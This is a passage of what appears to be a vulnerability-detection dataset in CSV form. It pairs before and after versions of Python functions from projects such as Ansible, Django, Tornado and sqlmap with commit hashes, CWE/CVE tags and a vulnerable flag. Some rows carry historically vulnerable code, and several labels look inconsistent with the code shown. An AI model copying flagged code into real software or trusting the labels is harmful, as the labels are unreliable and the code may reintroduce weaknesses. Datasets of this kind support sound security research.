                becomecmd = '%s %s %s' % (exe, flags, shlex_quote(command))

            else:
                raise AnsibleError(""Privilege escalation method not found: %s"" % self.become_method)

            if self.become_pass:
                self.prompt = prompt
            self.success_key = success_key
            return becomecmd

        return cmd",CWE-330,ansible/ansible,71c646fe593d4658df4a9181aaf7cb56b99cd091,"def make_become_cmd(self, cmd, executable=None):
        """""" helper function to create privilege escalation commands """"""

        prompt = None
        success_key = None
        self.prompt = None

        if self.become:

            if not executable:
                executable = self.executable

            becomecmd = None
            randbits = ''.join(random.choice(string.ascii_lowercase) for x in range(32))
            success_key = 'BECOME-SUCCESS-%s' % randbits
            success_cmd = shlex_quote('echo %s; %s' % (success_key, cmd))

            if executable:
                command = '%s -c %s' % (executable, success_cmd)
            else:
                command = success_cmd

            # set executable to use for the privilege escalation method, with various overrides
            exe = self.become_method
            for myexe in (getattr(self, '%s_exe' % self.become_method, None), self.become_exe):
                if myexe:
                    exe = myexe
                    break

            # set flags to use for the privilege escalation method, with various overrides
            flags = ''
            for myflag in (getattr(self, '%s_flags' % self.become_method, None), self.become_flags):
                if myflag is not None:
                    flags = myflag
                    break

            if self.become_method == 'sudo':
                # If we have a password, we run sudo with a randomly-generated
                # prompt set using -p. Otherwise we run it with default -n, which makes
                # it fail if it would have prompted for a password.
                # Cannot rely on -n as it can be removed from defaults, which should be
                # done for older versions of sudo that do not support the option.
                #
                # Passing a quoted compound command to sudo (or sudo -s)
                # directly doesn't work, so we shellquote it with shlex_quote()
                # and pass the quoted string to the user's shell.

                # force quick error if password is required but not supplied, should prevent sudo hangs.
                if self.become_pass:
                    prompt = '[sudo via ansible, key=%s] password: ' % randbits
                    becomecmd = '%s %s -p ""%s"" -u %s %s' % (exe, flags.replace('-n', ''), prompt, self.become_user, command)
                else:
                    becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, command)

            elif self.become_method == 'su':

                # passing code ref to examine prompt as simple string comparisson isn't good enough with su
                def detect_su_prompt(b_data):
                    b_password_string = b""|"".join([b'(\w+\'s )?' + x for x in b_SU_PROMPT_LOCALIZATIONS])
                    # Colon or unicode fullwidth colon
                    b_password_string = b_password_string + to_bytes(u' ?(:|：) ?')
                    b_SU_PROMPT_LOCALIZATIONS_RE = re.compile(b_password_string, flags=re.IGNORECASE)
                    return bool(b_SU_PROMPT_LOCALIZATIONS_RE.match(b_data))
                prompt = detect_su_prompt

                becomecmd = '%s %s %s -c %s' % (exe, flags, self.become_user, shlex_quote(command))

            elif self.become_method == 'pbrun':

                prompt = 'Password:'
                becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, success_cmd)

            elif self.become_method == 'ksu':
                def detect_ksu_prompt(b_data):
                    return re.match(b""Kerberos password for .*@.*:"", b_data)

                prompt = detect_ksu_prompt
                becomecmd = '%s %s %s -e %s' % (exe, self.become_user, flags, command)

            elif self.become_method == 'pfexec':

                # No user as it uses it's own exec_attr to figure it out
                becomecmd = '%s %s ""%s""' % (exe, flags, success_cmd)

            elif self.become_method == 'runas':
                # become is handled inside the WinRM connection plugin
                display.warning(""The Windows 'runas' become method is experimental, and may change significantly in future Ansible releases."")

                if not self.become_user:
                    raise AnsibleError((""The 'runas' become method requires a username ""
                                        ""(specify with the '--become-user' CLI arg, the 'become_user' keyword, or the 'ansible_become_user' variable)""))
                if not self.become_pass:
                    raise AnsibleError((""The 'runas' become method requires a password ""
                                       ""(specify with the '-K' CLI arg or the 'ansible_become_password' variable)""))
                becomecmd = cmd

            elif self.become_method == 'doas':

                prompt = 'doas (%s@' % self.remote_user
                exe = self.become_exe or 'doas'

                if not self.become_pass:
                    flags += ' -n '

                if self.become_user:
                    flags += ' -u %s ' % self.become_user

                # FIXME: make shell independent
                becomecmd = '%s %s echo %s && %s %s env ANSIBLE=true %s' % (exe, flags, success_key, exe, flags, cmd)

            elif self.become_method == 'dzdo':

                exe = self.become_exe or 'dzdo'
                if self.become_pass:
                    prompt = '[dzdo via ansible, key=%s] password: ' % randbits
                    becomecmd = '%s -p %s -u %s %s' % (exe, shlex_quote(prompt), self.become_user, command)
                else:
                    becomecmd = '%s -u %s %s' % (exe, self.become_user, command)

            elif self.become_method == 'pmrun':

                exe = self.become_exe or 'pmrun'

                prompt = 'Enter UPM user password:'
                becomecmd = '%s %s %s' % (exe, flags, shlex_quote(command))

            else:
                raise AnsibleError(""Privilege escalation method not found: %s"" % self.become_method)

            if self.become_pass:
                self.prompt = prompt
            self.success_key = success_key
            return becomecmd

        return cmd"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/tests/selenium/utils.py,0,"def _wait_for(driver, locator_type, locator, timeout=10, visible=False, single=False, obscures=False):
    """"""Waits `timeout` seconds for the specified condition to be met. Condition is
    met if any matching element is found. Returns located element(s) when found.

    Args:
        driver: Selenium web driver instance
        locator_type: type of locator (e.g. By.CSS_SELECTOR or By.TAG_NAME)
        locator: name of tag, class, etc. to wait for
        timeout: how long to wait for presence/visibility of element
        visible: if True, require that element is not only present, but visible
        single: if True, return a single element, otherwise return a list of matching
        elements
        obscures: if True, waits until the element becomes invisible
    """"""
    wait = WebDriverWait(driver, timeout)
    if obscures:
        conditional = EC.invisibility_of_element_located
    elif single:
        if visible:
            conditional = EC.visibility_of_element_located
        else:
            conditional = EC.presence_of_element_located
    else:
        if visible:
            conditional = EC.visibility_of_all_elements_located
        else:
            conditional = EC.presence_of_all_elements_located
    return wait.until(conditional((locator_type, locator)))",,jupyter/notebook,bd66c18b4f86bf81cb6f847ddd5492095ce6b6b9,"def _wait_for(driver, locator_type, locator, timeout=10, visible=False, single=False, obscures=False):
    """"""Waits `timeout` seconds for the specified condition to be met. Condition is
    met if any matching element is found. Returns located element(s) when found.

    Args:
        driver: Selenium web driver instance
        locator_type: type of locator (e.g. By.CSS_SELECTOR or By.TAG_NAME)
        locator: name of tag, class, etc. to wait for
        timeout: how long to wait for presence/visibility of element
        visible: if True, require that element is not only present, but visible
        single: if True, return a single element, otherwise return a list of matching
        elements
        osbscures: if True, waits until the element becomes invisible
    """"""
    wait = WebDriverWait(driver, timeout)
    if obscures:
        conditional = EC.invisibility_of_element_located
    elif single:
        if visible:
            conditional = EC.visibility_of_element_located
        else:
            conditional = EC.presence_of_element_located
    else:
        if visible:
            conditional = EC.visibility_of_all_elements_located
        else:
            conditional = EC.presence_of_all_elements_located
    return wait.until(conditional((locator_type, locator)))"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/plugins/injection_shell.py,0,"def subprocess_popen_with_shell_equals_true(context, config):
    if config and context.call_function_name_qual in config['subprocess']:
        if context.check_call_arg_value('shell', 'True'):
            return(bandit.ERROR, 'subprocess call with shell=True '
                   'identified, security issue.  %s' %
                   context.call_args_string)",UNKNOWN,PyCQA/bandit,e1f4f550773cd42e6007e0728ece1fb931614ff0,"def subprocess_popen_with_shell_equals_true(context, config):
    if config and context.call_function_name_qual in config['subprocess']:
        if context.check_call_arg_value('shell', 'True'):
            return(bandit.ERROR, 'subprocess call with shell=True '
                   'identified, security issue.  %s' %
                   context.call_args_string)
        else:
            return (bandit.INFO, 'subprocess call without a subshell.')"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/api_fastapi/core_api/routes/public/dags.py,0,"def get_dags(
    limit: QueryLimit,
    offset: QueryOffset,
    tags: QueryTagsFilter,
    owners: QueryOwnersFilter,
    dag_id_pattern: QueryDagIdPatternSearch,
    dag_display_name_pattern: QueryDagDisplayNamePatternSearch,
    only_active: QueryOnlyActiveFilter,
    paused: QueryPausedFilter,
    last_dag_run_state: QueryLastDagRunStateFilter,
    order_by: Annotated[
        SortParam,
        Depends(
            SortParam(
                [""dag_id"", ""dag_display_name"", ""next_dagrun"", ""last_run_state"", ""last_run_start_date""],
                DagModel,
            ).dynamic_depends()
        ),
    ],
    session: Annotated[Session, Depends(get_session)],
) -> DAGCollectionResponse:
    """"""Get all DAGs.""""""
    dags_select, total_entries = paginated_select(
        dags_select_with_latest_dag_run,
        [only_active, paused, dag_id_pattern, dag_display_name_pattern, tags, owners, last_dag_run_state],
        order_by,
        offset,
        limit,
        session,
    )

    dags = session.scalars(dags_select)

    return DAGCollectionResponse(
        dags=[DAGResponse.model_validate(dag, from_attributes=True) for dag in dags],
        total_entries=total_entries,
    )",CWE-Unknown,apache/airflow,e7a0511f74dae4bd10fc70b4d48e738891a745b6,"def get_dags(
    limit: QueryLimit,
    offset: QueryOffset,
    tags: QueryTagsFilter,
    owners: QueryOwnersFilter,
    dag_id_pattern: QueryDagIdPatternSearch,
    dag_display_name_pattern: QueryDagDisplayNamePatternSearch,
    only_active: QueryOnlyActiveFilter,
    paused: QueryPausedFilter,
    last_dag_run_state: QueryLastDagRunStateFilter,
    order_by: Annotated[
        SortParam,
        Depends(
            SortParam(
                [""dag_id"", ""dag_display_name"", ""next_dagrun"", ""last_run_state"", ""last_run_start_date""],
                DagModel,
            ).dynamic_depends()
        ),
    ],
    session: Annotated[Session, Depends(get_session)],
) -> DAGCollectionResponse:
    """"""Get all DAGs.""""""
    dags_select, total_entries = paginated_select(
        dags_select_with_latest_dag_run,
        [only_active, paused, dag_id_pattern, dag_display_name_pattern, tags, owners, last_dag_run_state],
        order_by,
        offset,
        limit,
        session,
    )

    dags = session.scalars(dags_select).all()

    return DAGCollectionResponse(
        dags=[DAGResponse.model_validate(dag, from_attributes=True) for dag in dags],
        total_entries=total_entries,
    )"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/kpcrscan.py,0,"def __init__(self, address_space):
        scan.ScannerCheck.__init__(self, address_space)
        kpcr = obj.Object(""_KPCR"", vm = self.address_space, offset = 0)
        if address_space.profile.metadata.get('memory_model', '') == '32bit':
            self.SelfPcr_offset = kpcr.SelfPcr.obj_offset
            self.Prcb_offset = kpcr.Prcb.obj_offset
            self.PrcbData_offset = kpcr.PrcbData.obj_offset
        else:
            # The self-referencing member of _KPCR is Self on x64
            self.SelfPcr_offset = kpcr.Self.obj_offset
            # The pointer to _KPRCB is CurrentPrcb on x64
            self.Prcb_offset = kpcr.CurrentPrcb.obj_offset
            # The nested _KPRCB in Prcb on x64
            self.PrcbData_offset = kpcr.Prcb.obj_offset
        self.KPCR = None",,volatilityfoundation/volatility,5cb4ab5ddabb579d119b0d93919fd1367455bf50,"def __init__(self, address_space):
        scan.ScannerCheck.__init__(self, address_space)
        kpcr = obj.Object(""_KPCR"", vm = self.address_space, offset = 0)
        if address_space.profile.metadata.get('memory_model', '') == '32bit':
            self.SelfPcr_offset = kpcr.SelfPcr.obj_offset
            self.Prcb_offset = kpcr.Prcb.obj_offset
            self.PrcbData_offset = kpcr.PrcbData.obj_offset
        else:
            # The self-referencing member of _KPCR is Self on x64
            self.SelfPcr_offset = kpcr.Self.obj_offset
            # The pointer to _KPRCB is CurrentPrcb on x64
            self.Prcb_offset = kpcr.CurrentPrcb.obj_offset
            # The nested _KPRCB in Prcb on x64
            self.PrcbData_offset = kpcr.Prcb.obj_offset    
        self.KPCR = None"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/cli.py,0,"def make_context(
        self,
        info_name: str | None,
        args: list[str],
        parent: click.Context | None = None,
        **extra: t.Any,
    ) -> click.Context:
        # Set a flag to tell app.run to become a no-op. If app.run was
        # not in a __name__ == __main__ guard, it would start the server
        # when importing, blocking whatever command is being called.
        os.environ[""FLASK_RUN_FROM_CLI""] = ""true""

        # Attempt to load .env and .flask env files. The --env-file
        # option can cause another file to be loaded.
        if get_load_dotenv(self.load_dotenv):
            load_dotenv()

        if ""obj"" not in extra and ""obj"" not in self.context_settings:
            extra[""obj""] = ScriptInfo(
                create_app=self.create_app, set_debug_flag=self.set_debug_flag
            )

        return super().make_context(info_name, args, parent=parent, **extra)",,pallets/flask,3635583ce27f70a3d9efd1e2212d5efc1d256333,"def make_context(
        self,
        info_name: str | None,
        args: list[str],
        parent: click.Context | None = None,
        **extra: t.Any,
    ) -> click.Context:
        # Attempt to load .env and .flask env files. The --env-file
        # option can cause another file to be loaded.
        if get_load_dotenv(self.load_dotenv):
            load_dotenv()

        if ""obj"" not in extra and ""obj"" not in self.context_settings:
            extra[""obj""] = ScriptInfo(
                create_app=self.create_app, set_debug_flag=self.set_debug_flag
            )

        return super().make_context(info_name, args, parent=parent, **extra)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/union/use.py,0,"def unionThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.limit:
                            try:
                                valueStart = time.time()
                                threadData.shared.counter += 1
                                num = threadData.shared.limits.next()
                            except StopIteration:
                                break

                        if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                            field = expressionFieldsList[0]
                        elif Backend.isDbms(DBMS.ORACLE):
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = _oneShotUnionUse(limitedExpr, unpack, True)

                        if not kb.threadContinue:
                            break

                        if output:
                            with kb.locks.value:
                                if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))):
                                    items = parseUnionPage(output)

                                    if threadData.shared.showEta:
                                        threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
                                    if isListLike(items):
                                        # in case that we requested N columns and we get M!=N then we have to filter a bit
                                        if len(items) > 1 and len(expressionFieldsList) > 1:
                                            items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
                                        items = [_ for _ in flattenValue(items)]
                                        if len(items) > len(expressionFieldsList):
                                            filtered = OrderedDict()
                                            for item in items:
                                                key = re.sub(r""[^A-Za-z0-9]"", """", item).lower()
                                                if key not in filtered or re.search(r""[^A-Za-z0-9]"", item):
                                                    filtered[key] = item
                                            items = filtered.values()
                                        items = [items]
                                    index = None
                                    for index in xrange(len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][0] >= num:
                                            break
                                    threadData.shared.buffered.insert(index or 0, (num, items))
                                else:
                                    index = None
                                    if threadData.shared.showEta:
                                        threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
                                    for index in xrange(len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][0] >= num:
                                            break
                                    threadData.shared.buffered.insert(index or 0, (num, None))

                                    items = output.replace(kb.chars.start, """").replace(kb.chars.stop, """").split(kb.chars.delimiter)

                                while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
                                    threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
                                    if not isNoneValue(_):
                                        threadData.shared.value.extend(arrayizeValue(_))
                                    del threadData.shared.buffered[0]

                            if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
                                _ = "","".join(""\""%s\"""" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items
                                status = ""[%s] [INFO] %s: %s"" % (time.strftime(""%X""), ""resumed"" if threadData.resumed else ""retrieved"", _ if kb.safeCharEncode else safecharencode(_))

                                if len(status) > width:
                                    status = ""%s..."" % status[:width - 3]

                                dataToStdout(""%s\n"" % status, True)",,sqlmapproject/sqlmap,04b3aefc5d618d4cb8bbce693ef5b41aed3f620d,"def unionThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.limit:
                            try:
                                valueStart = time.time()
                                threadData.shared.counter += 1
                                num = threadData.shared.limits.next()
                            except StopIteration:
                                break

                        if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                            field = expressionFieldsList[0]
                        elif Backend.isDbms(DBMS.ORACLE):
                            field = expressionFieldsList
                        else:
                            field = None

                        limitedExpr = agent.limitQuery(num, expression, field)
                        output = _oneShotUnionUse(limitedExpr, unpack, True)

                        if not kb.threadContinue:
                            break

                        if output:
                            with kb.locks.value:
                                if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))):
                                    items = parseUnionPage(output)

                                    if threadData.shared.showEta:
                                        threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
                                    if isListLike(items):
                                        # in case that we requested N columns and we get M!=N then we have to filter a bit
                                        if len(items) > 1 and len(expressionFieldsList) > 1:
                                            items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
                                        items = [_ for _ in flattenValue(items)]
                                        if len(items) > len(expressionFieldsList):
                                            filtered = OrderedDict()
                                            for item in items:
                                                key = re.sub(r""[^A-Za-z0-9]"", """", item).lower()
                                                if key not in filtered or re.search(r""[^A-Za-z0-9]"", item):
                                                    filtered[key] = item
                                            items = filtered.values()
                                        items = [items]
                                    index = None
                                    for index in xrange(len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][0] >= num:
                                            break
                                    threadData.shared.buffered.insert(index or 0, (num, items))
                                else:
                                    index = None
                                    if threadData.shared.showEta:
                                        threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
                                    for index in xrange(len(threadData.shared.buffered)):
                                        if threadData.shared.buffered[index][0] >= num:
                                            break
                                    threadData.shared.buffered.insert(index or 0, (num, None))

                                    items = output.replace(kb.chars.start, """").replace(kb.chars.stop, """").split(kb.chars.delimiter)

                                while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
                                    threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
                                    if not isNoneValue(_):
                                        threadData.shared.value.extend(arrayizeValue(_))
                                    del threadData.shared.buffered[0]

                            if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
                                status = ""[%s] [INFO] %s: %s"" % (time.strftime(""%X""), ""resumed"" if threadData.resumed else ""retrieved"", safecharencode("","".join(""\""%s\"""" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items))

                                if len(status) > width:
                                    status = ""%s..."" % status[:width - 3]

                                dataToStdout(""%s\n"" % status, True)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/web.py,0,"def check_etag_header(self):
        """"""Checks the ``Etag`` header against requests's ``If-None-Match``.

        Returns ``True`` if the request's Etag matches and a 304 should be
        returned. For example::

            self.set_etag_header()
            if self.check_etag_header():
                self.set_status(304)
                return

        This method is called automatically when the request is finished,
        but may be called earlier for applications that override
        `compute_etag` and want to do an early check for ``If-None-Match``
        before completing the request.  The ``Etag`` header should be set
        (perhaps with `set_etag_header`) before calling this method.
        """"""
        computed_etag = utf8(self._headers.get(""Etag"", """"))
        # Find all weak and strong etag values from If-None-Match header
        # because RFC 7232 allows multiple etag values in a single header.
        etags = re.findall(
            br'\*|(?:W/)?""[^""]*""',
            utf8(self.request.headers.get(""If-None-Match"", """"))
        )
        if not computed_etag or not etags:
            return False

        match = False
        if etags[0] == b'*':
            match = True
        else:
            # Use a weak comparison when comparing entity-tags.
            def val(x):
                return x[2:] if x.startswith(b'W/') else x

            for etag in etags:
                if val(etag) == val(computed_etag):
                    match = True
                    break
        return match",CWE-Unknown,tornadoweb/tornado,9f723211348f14a650f87c9c991260b387b18cb0,"def check_etag_header(self):
        """"""Checks the ``Etag`` header against requests's ``If-None-Match``.

        Returns ``True`` if the request's Etag matches and a 304 should be
        returned. For example::

            self.set_etag_header()
            if self.check_etag_header():
                self.set_status(304)
                return

        This method is called automatically when the request is finished,
        but may be called earlier for applications that override
        `compute_etag` and want to do an early check for ``If-None-Match``
        before completing the request.  The ``Etag`` header should be set
        (perhaps with `set_etag_header`) before calling this method.
        """"""
        computed_etag = utf8(self._headers.get(""Etag"", """"))
        # Find all weak and strong etag values from If-None-Match header
        # because RFC 7232 allows multiple etag values in a single header.
        etags = re.findall(
            br'\*|(?:W/)?""[^""]*""',
            utf8(self.request.headers.get(""If-None-Match"", """"))
        )
        if not computed_etag or not etags:
            return False

        match = False
        if etags[0] == b'*':
            match = True
        else:
            # Use a weak comparison when comparing entity-tags.
            val = lambda x: x[2:] if x.startswith(b'W/') else x
            for etag in etags:
                if val(etag) == val(computed_etag):
                    match = True
                    break
        return match"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/pyfunc/test_spark_connect.py,0,"def spark():
    spark = (
        SparkSession.builder.remote(""local[2]"")
        .config(
            # The jars for spark-connect are not bundled in the pyspark package
            ""spark.jars.packages"",
            f""org.apache.spark:spark-connect_2.12:{pyspark.__version__}"",
        )
        .getOrCreate()
    )
    yield spark
    spark.stop()",,mlflow/mlflow,73f24fd0a52476d418fc4c47bd59459d72e909ea,"def spark():
    spark = (
        SparkSession.builder.remote(""local[2]"")
        .config(
            # The jars for spark-connect are not bundled in the pyspark package
            ""spark.jars.packages"",
            f""org.apache.spark:spark-connect_2.12:{pyspark.__version__}"",
        )
        .getOrCreate()
    )
    yield spark
    spark.stop()"
,UNKNOWN,UNKNOWN,tornado/platform/caresresolver.py,1,"def resolve(self, host, port, family=0):
        if is_valid_ip(host):
            addresses = [host]
        else:
            # gethostbyname doesn't take callback as a kwarg
            self.channel.gethostbyname(host, family, (yield gen.Callback(1)))
            callback_args = yield gen.Wait(1)
            assert isinstance(callback_args, gen.Arguments)
            assert not callback_args.kwargs
            result, error = callback_args.args
            if error:
                raise IOError('C-Ares returned error %s: %s while resolving %s' %
                              (error, pycares.errno.strerror(error), host))
            addresses = result.addresses
        addrinfo = []
        for address in addresses:
            if '.' in address:
                address_family = socket.AF_INET
            elif ':' in address:
                address_family = socket.AF_INET6
            else:
                address_family = socket.AF_UNSPEC
            if family != socket.AF_UNSPEC and family != address_family:
                raise IOError('Requested socket family %d but got %d' %
                              (family, address_family))
            addrinfo.append((address_family, (address, port)))
        raise gen.Return(addrinfo)",CWE-703,tornadoweb/tornado,5ae369754fcc83862c5905bf6b66fec69b5d3be7,"def resolve(self, host, port, family=0):
        if is_valid_ip(host):
            addresses = [host]
        else:
            # gethostbyname doesn't take callback as a kwarg
            self.channel.gethostbyname(host, family, (yield gen.Callback(1)))
            callback_args = yield gen.Wait(1)
            assert isinstance(callback_args, gen.Arguments)
            assert not callback_args.kwargs
            result, error = callback_args.args
            if error:
                raise Exception('C-Ares returned error %s: %s while resolving %s' %
                                (error, pycares.errno.strerror(error), host))
            addresses = result.addresses
        addrinfo = []
        for address in addresses:
            if '.' in address:
                address_family = socket.AF_INET
            elif ':' in address:
                address_family = socket.AF_INET6
            else:
                address_family = socket.AF_UNSPEC
            if family != socket.AF_UNSPEC and family != address_family:
                raise Exception('Requested socket family %d but got %d' %
                                (family, address_family))
            addrinfo.append((address_family, (address, port)))
        raise gen.Return(addrinfo)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/view_tests/tests/test_static.py,0,"def tearDown(self):
        super().tearDown()
        urls.urlpatterns = self._old_views_urlpatterns",CWE-Unknown,django/django,df41b5a05d4e00e80e73afe629072e37873e767a,"def tearDown(self):
        super().tearDown()
        urls.urlpatterns = self._old_views_urlpatterns"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/projects/databricks.py,0,"def custom_filter(x):
            return None if os.path.basename(x.name) == ""mlruns"" else x",,mlflow/mlflow,56d2a6a5245e1058689aa97ecf3f6dc3ab770a3f,"def custom_filter(x):
            return None if os.path.basename(x.name) == ""mlruns"" else x"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/yumpkg.py,0,"def _set_repo_options(yumbase, **kwargs):
    '''
    Accepts a yum.YumBase() object and runs member functions to enable/disable
    repos as needed.
    '''
    # Get repo options from the kwargs
    fromrepo = kwargs.get('fromrepo', '')
    repo = kwargs.get('repo', '')
    disablerepo = kwargs.get('disablerepo', '')
    enablerepo = kwargs.get('enablerepo', '')

    # Support old 'repo' argument
    if repo and not fromrepo:
        fromrepo = repo

    try:
        if fromrepo:
            log.info('Restricting to repo {0!r}'.format(fromrepo))
            yumbase.repos.disableRepo('*')
            yumbase.repos.enableRepo(fromrepo)
        else:
            if disablerepo:
                log.info('Disabling repo {0!r}'.format(disablerepo))
                yumbase.repos.disableRepo(disablerepo)
            if enablerepo:
                log.info('Enabling repo {0!r}'.format(enablerepo))
                yumbase.repos.enableRepo(enablerepo)
    except yum.Errors.RepoError as exc:
        return exc",,saltstack/salt,4d1495b200f8bd8f2e7e5a959ad374ed22a0f40b,"def _set_repo_options(yumbase, **kwargs):
    '''
    Accepts a yum.YumBase() object and runs member functions to enable/disable
    repos as needed.
    '''
    # Get repo options from the kwargs
    fromrepo = kwargs.get('fromrepo', '')
    repo = kwargs.get('repo', '')
    disablerepo = kwargs.get('disablerepo', '')
    enablerepo = kwargs.get('enablerepo', '')

    # Support old 'repo' argument
    if repo and not fromrepo:
        fromrepo = repo

    try:
        if fromrepo:
            log.info('Restricting to repo \'{0}\''.format(fromrepo))
            yumbase.repos.disableRepo('*')
            yumbase.repos.enableRepo(fromrepo)
        else:
            if disablerepo:
                log.info('Disabling repo \'{0}\''.format(disablerepo))
                yumbase.repos.disableRepo(disablerepo)
            if enablerepo:
                log.info('Enabling repo \'{0}\''.format(enablerepo))
                yumbase.repos.enableRepo(enablerepo)
    except yum.Errors.RepoError as e:
        return e"
,UNKNOWN,UNKNOWN,tests/tensorflow/test_tensorflow_model_export.py,1,"def test_save_model_persists_specified_conda_env_in_mlflow_model_directory(
        saved_tf_iris_model, model_path, tf_custom_env):
    mlflow.tensorflow.save_model(tf_saved_model_dir=saved_tf_iris_model.path,
                                 tf_meta_graph_tags=saved_tf_iris_model.meta_graph_tags,
                                 tf_signature_def_key=saved_tf_iris_model.signature_def_key,
                                 path=model_path,
                                 conda_env=tf_custom_env)
    pyfunc_conf = _get_flavor_configuration(model_path=model_path, flavor_name=pyfunc.FLAVOR_NAME)
    saved_conda_env_path = os.path.join(model_path, pyfunc_conf[pyfunc.ENV])
    assert os.path.exists(saved_conda_env_path)
    assert saved_conda_env_path != tf_custom_env

    with open(tf_custom_env, ""r"") as f:
        tf_custom_env_text = f.read()
    with open(saved_conda_env_path, ""r"") as f:
        saved_conda_env_text = f.read()
    assert saved_conda_env_text == tf_custom_env_text",CWE-703,mlflow/mlflow,c89dea168eaa8ea05a8b91c4e6f22922d23a7f17,"def test_save_model_persists_specified_conda_env_in_mlflow_model_directory(
        saved_tf_iris_model, model_path, tf_custom_env):
    mlflow.tensorflow.save_model(tf_saved_model_dir=saved_tf_iris_model.path,
                                 tf_meta_graph_tags=saved_tf_iris_model.meta_graph_tags,
                                 tf_signature_def_key=saved_tf_iris_model.signature_def_key,
                                 path=model_path,
                                 conda_env=tf_custom_env)
    pyfunc_conf = _get_flavor_configuration(model_path=model_path, flavor_name=pyfunc.FLAVOR_NAME)
    saved_conda_env_path = os.path.join(model_path, pyfunc_conf[pyfunc.ENV])
    assert os.path.exists(saved_conda_env_path)
    assert saved_conda_env_path != tf_custom_env

    with open(tf_custom_env, ""r"") as f:
        tf_custom_env_text = f.read()
    with open(saved_conda_env_path, ""r"") as f:
        saved_conda_env_text = f.read()
    assert saved_conda_env_text == tf_custom_env_text"
,CVE-2019-6975,UNKNOWN,django/utils/numberformat.py,1,"def format(number, decimal_sep, decimal_pos=None, grouping=0, thousand_sep='',
           force_grouping=False, use_l10n=None):
    """"""
    Get a number (as a number or string), and return it as a string,
    using formats defined as arguments:

    * decimal_sep: Decimal separator symbol (for example ""."")
    * decimal_pos: Number of decimal positions
    * grouping: Number of digits in every group limited by thousand separator.
        For non-uniform digit grouping, it can be a sequence with the number
        of digit group sizes following the format used by the Python locale
        module in locale.localeconv() LC_NUMERIC grouping (e.g. (3, 2, 0)).
    * thousand_sep: Thousand separator symbol (for example "","")
    """"""
    use_grouping = (use_l10n or (use_l10n is None and settings.USE_L10N)) and settings.USE_THOUSAND_SEPARATOR
    use_grouping = use_grouping or force_grouping
    use_grouping = use_grouping and grouping != 0
    # Make the common case fast
    if isinstance(number, int) and not use_grouping and not decimal_pos:
        return mark_safe(number)
    # sign
    sign = ''
    if isinstance(number, Decimal):
        # Format values with more than 200 digits (an arbitrary cutoff) using
        # scientific notation to avoid high memory usage in {:f}'.format().
        _, digits, exponent = number.as_tuple()
        if abs(exponent) + len(digits) > 200:
            number = '{:e}'.format(number)
            coefficient, exponent = number.split('e')
            # Format the coefficient.
            coefficient = format(
                coefficient, decimal_sep, decimal_pos, grouping,
                thousand_sep, force_grouping, use_l10n,
            )
            return '{}e{}'.format(coefficient, exponent)
        else:
            str_number = '{:f}'.format(number)
    else:
        str_number = str(number)
    if str_number[0] == '-':
        sign = '-'
        str_number = str_number[1:]
    # decimal part
    if '.' in str_number:
        int_part, dec_part = str_number.split('.')
        if decimal_pos is not None:
            dec_part = dec_part[:decimal_pos]
    else:
        int_part, dec_part = str_number, ''
    if decimal_pos is not None:
        dec_part = dec_part + ('0' * (decimal_pos - len(dec_part)))
    dec_part = dec_part and decimal_sep + dec_part
    # grouping
    if use_grouping:
        try:
            # if grouping is a sequence
            intervals = list(grouping)
        except TypeError:
            # grouping is a single value
            intervals = [grouping, 0]
        active_interval = intervals.pop(0)
        int_part_gd = ''
        cnt = 0
        for digit in int_part[::-1]:
            if cnt and cnt == active_interval:
                if intervals:
                    active_interval = intervals.pop(0) or active_interval
                int_part_gd += thousand_sep[::-1]
                cnt = 0
            int_part_gd += digit
            cnt += 1
        int_part = int_part_gd[::-1]
    return sign + int_part + dec_part",CWE-79,django/django,83ab3e26647f6a50cdfac01ecf735cad540b2f35,"def format(number, decimal_sep, decimal_pos=None, grouping=0, thousand_sep='',
           force_grouping=False, use_l10n=None):
    """"""
    Get a number (as a number or string), and return it as a string,
    using formats defined as arguments:

